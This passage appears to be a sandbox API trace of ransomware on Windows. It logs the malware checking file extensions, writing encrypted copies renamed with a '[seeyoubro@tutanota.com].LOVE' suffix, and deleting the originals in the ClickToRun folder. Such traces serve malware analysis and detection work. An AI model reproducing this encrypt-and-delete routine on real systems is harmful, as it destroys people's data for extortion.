(lpString1=".1cd", lpString2=".dll") returned -1 [0209.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0209.528] lstrlenW (lpString=".jpg") returned 4 [0209.528] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.528] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0209.528] lstrlenW (lpString="api-ms-win-crt-string-l1-1-0.dll") returned 32 [0209.528] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0209.528] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=24768) returned 1 [0209.529] CloseHandle (hObject=0x368) returned 1 [0209.529] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll")) returned 0x20 [0209.529] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0209.529] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0209.529] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.529] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.529] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0209.529] GetLastError () returned 0x0 [0209.529] ReadFile (in: hFile=0x368, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x60c0, lpOverlapped=0x0) returned 1 [0209.552] WriteFile (in: hFile=0x33c, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x60d0, lpOverlapped=0x0) returned 1 [0209.553] ReadFile (in: hFile=0x368, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.553] WriteFile (in: hFile=0x33c, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x114, lpOverlapped=0x0) returned 1 [0209.553] SetEndOfFile (hFile=0x33c) returned 1 [0209.553] CloseHandle (hObject=0x33c) returned 1 [0209.554] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.555] SetEndOfFile (hFile=0x368) returned 1 [0209.555] CloseHandle (hObject=0x368) returned 1 [0209.555] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0209.556] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll")) returned 1 [0209.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0209.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0209.556] lstrlenW (lpString=".doc") returned 4 [0209.556] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.556] lstrlenW (lpString=".docx") returned 5 [0209.556] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0209.556] lstrlenW (lpString=".pdf") returned 4 [0209.556] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.556] lstrlenW (lpString=".xls") returned 4 [0209.556] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.556] lstrlenW (lpString=".xlsx") returned 5 [0209.556] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0209.556] lstrlenW (lpString=".ppt") returned 4 [0209.556] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0209.556] lstrlenW (lpString=".zip") returned 4 [0209.556] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.556] lstrlenW (lpString=".rar") returned 4 [0209.556] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.556] lstrlenW (lpString=".bz2") returned 4 [0209.556] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.557] lstrlenW (lpString=".7z") returned 3 [0209.557] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0209.557] lstrlenW (lpString=".dbf") returned 4 [0209.557] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0209.557] lstrlenW (lpString=".1cd") returned 4 [0209.557] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0209.557] lstrlenW (lpString=".jpg") returned 4 [0209.557] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0209.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0209.557] lstrlenW (lpString=".doc") returned 4 [0209.557] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.557] lstrlenW (lpString=".docx") returned 5 [0209.557] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0209.557] lstrlenW (lpString=".pdf") returned 4 [0209.557] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.557] lstrlenW (lpString=".xls") returned 4 [0209.557] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.557] lstrlenW (lpString=".xlsx") returned 5 [0209.557] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0209.557] lstrlenW (lpString=".ppt") returned 4 [0209.557] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0209.557] lstrlenW (lpString=".zip") returned 4 [0209.557] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.557] lstrlenW (lpString=".rar") returned 4 [0209.557] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.557] lstrlenW (lpString=".bz2") returned 4 [0209.557] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.557] lstrlenW (lpString=".7z") returned 3 [0209.557] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0209.557] lstrlenW (lpString=".dbf") returned 4 [0209.557] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0209.558] lstrlenW (lpString=".1cd") returned 4 [0209.558] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0209.558] lstrlenW (lpString=".jpg") returned 4 [0209.558] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.558] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0209.558] lstrlenW (lpString="api-ms-win-crt-utility-l1-1-0.dll") returned 33 [0209.558] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0209.558] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=19136) returned 1 [0209.558] CloseHandle (hObject=0x368) returned 1 [0209.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll")) returned 0x20 [0209.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0209.558] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0209.558] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.559] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.559] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0209.561] GetLastError () returned 0x0 [0209.561] ReadFile (in: hFile=0x368, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0209.562] WriteFile (in: hFile=0x33c, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0209.563] ReadFile (in: hFile=0x368, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.563] WriteFile (in: hFile=0x33c, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x116, lpOverlapped=0x0) returned 1 [0209.563] SetEndOfFile (hFile=0x33c) returned 1 [0209.563] CloseHandle (hObject=0x33c) returned 1 [0209.565] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.565] SetEndOfFile (hFile=0x368) returned 1 [0209.565] CloseHandle (hObject=0x368) returned 1 [0209.566] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0209.566] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll")) returned 1 [0209.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0209.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0209.566] lstrlenW (lpString=".doc") returned 4 [0209.566] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.566] lstrlenW (lpString=".docx") returned 5 [0209.566] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0209.566] lstrlenW (lpString=".pdf") returned 4 [0209.566] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.566] lstrlenW (lpString=".xls") returned 4 [0209.566] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.566] lstrlenW (lpString=".xlsx") returned 5 [0209.566] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0209.566] lstrlenW (lpString=".ppt") returned 4 [0209.566] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0209.566] lstrlenW (lpString=".zip") returned 4 [0209.567] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.567] lstrlenW (lpString=".rar") returned 4 [0209.567] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.567] lstrlenW (lpString=".bz2") returned 4 [0209.567] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.567] lstrlenW (lpString=".7z") returned 3 [0209.567] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0209.567] lstrlenW (lpString=".dbf") returned 4 [0209.567] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0209.567] lstrlenW (lpString=".1cd") returned 4 [0209.567] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0209.567] lstrlenW (lpString=".jpg") returned 4 [0209.567] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0209.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0209.567] lstrlenW (lpString=".doc") returned 4 [0209.567] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.567] lstrlenW (lpString=".docx") returned 5 [0209.567] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0209.567] lstrlenW (lpString=".pdf") returned 4 [0209.567] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.567] lstrlenW (lpString=".xls") returned 4 [0209.567] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.567] lstrlenW (lpString=".xlsx") returned 5 [0209.567] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0209.567] lstrlenW (lpString=".ppt") returned 4 [0209.567] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0209.567] lstrlenW (lpString=".zip") returned 4 [0209.567] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.567] lstrlenW (lpString=".rar") returned 4 [0209.568] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.568] lstrlenW (lpString=".bz2") returned 4 [0209.568] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.568] lstrlenW (lpString=".7z") returned 3 [0209.568] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0209.568] lstrlenW (lpString=".dbf") returned 4 [0209.568] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0209.568] lstrlenW (lpString=".1cd") returned 4 [0209.568] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0209.568] lstrlenW (lpString=".jpg") returned 4 [0209.568] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.568] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0209.568] lstrlenW (lpString="ApiClient.dll") returned 13 [0209.568] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0209.568] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=162880) returned 1 [0209.568] CloseHandle (hObject=0x368) returned 1 [0209.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll")) returned 0x20 [0209.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0209.569] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0209.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0209.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0209.569] lstrlenW (lpString=".doc") returned 4 [0209.569] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.569] lstrlenW (lpString=".docx") returned 5 [0209.569] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0209.569] lstrlenW (lpString=".pdf") returned 4 [0209.569] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.569] lstrlenW (lpString=".xls") returned 4 [0209.569] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.569] lstrlenW (lpString=".xlsx") returned 5 [0209.569] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0209.569] lstrlenW (lpString=".ppt") returned 4 [0209.569] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0209.569] lstrlenW (lpString=".zip") returned 4 [0209.569] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.569] lstrlenW (lpString=".rar") returned 4 [0209.569] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.569] lstrlenW (lpString=".bz2") returned 4 [0209.569] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.569] lstrlenW (lpString=".7z") returned 3 [0209.569] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0209.569] lstrlenW (lpString=".dbf") returned 4 [0209.569] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0209.569] lstrlenW (lpString=".1cd") returned 4 [0209.569] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0209.570] lstrlenW (lpString=".jpg") returned 4 [0209.570] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0209.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0209.570] lstrlenW (lpString=".doc") returned 4 [0209.570] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.570] lstrlenW (lpString=".docx") returned 5 [0209.570] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0209.570] lstrlenW (lpString=".pdf") returned 4 [0209.570] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.570] lstrlenW (lpString=".xls") returned 4 [0209.570] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.570] lstrlenW (lpString=".xlsx") returned 5 [0209.570] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0209.570] lstrlenW (lpString=".ppt") returned 4 [0209.570] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0209.570] lstrlenW (lpString=".zip") returned 4 [0209.570] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.570] lstrlenW (lpString=".rar") returned 4 [0209.570] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.570] lstrlenW (lpString=".bz2") returned 4 [0209.570] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.570] lstrlenW (lpString=".7z") returned 3 [0209.570] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0209.570] lstrlenW (lpString=".dbf") returned 4 [0209.570] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0209.570] lstrlenW (lpString=".1cd") returned 4 [0209.570] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0209.570] lstrlenW (lpString=".jpg") returned 4 [0209.570] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.571] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0209.571] lstrlenW (lpString="AppVCatalog.dll") returned 15 [0209.571] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0209.571] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=656088) returned 1 [0209.571] CloseHandle (hObject=0x368) returned 1 [0209.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll")) returned 0x20 [0209.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0209.571] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0209.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0209.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0209.571] lstrlenW (lpString=".doc") returned 4 [0209.571] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.571] lstrlenW (lpString=".docx") returned 5 [0209.571] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0209.571] lstrlenW (lpString=".pdf") returned 4 [0209.571] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.571] lstrlenW (lpString=".xls") returned 4 [0209.571] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.571] lstrlenW (lpString=".xlsx") returned 5 [0209.571] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0209.572] lstrlenW (lpString=".ppt") returned 4 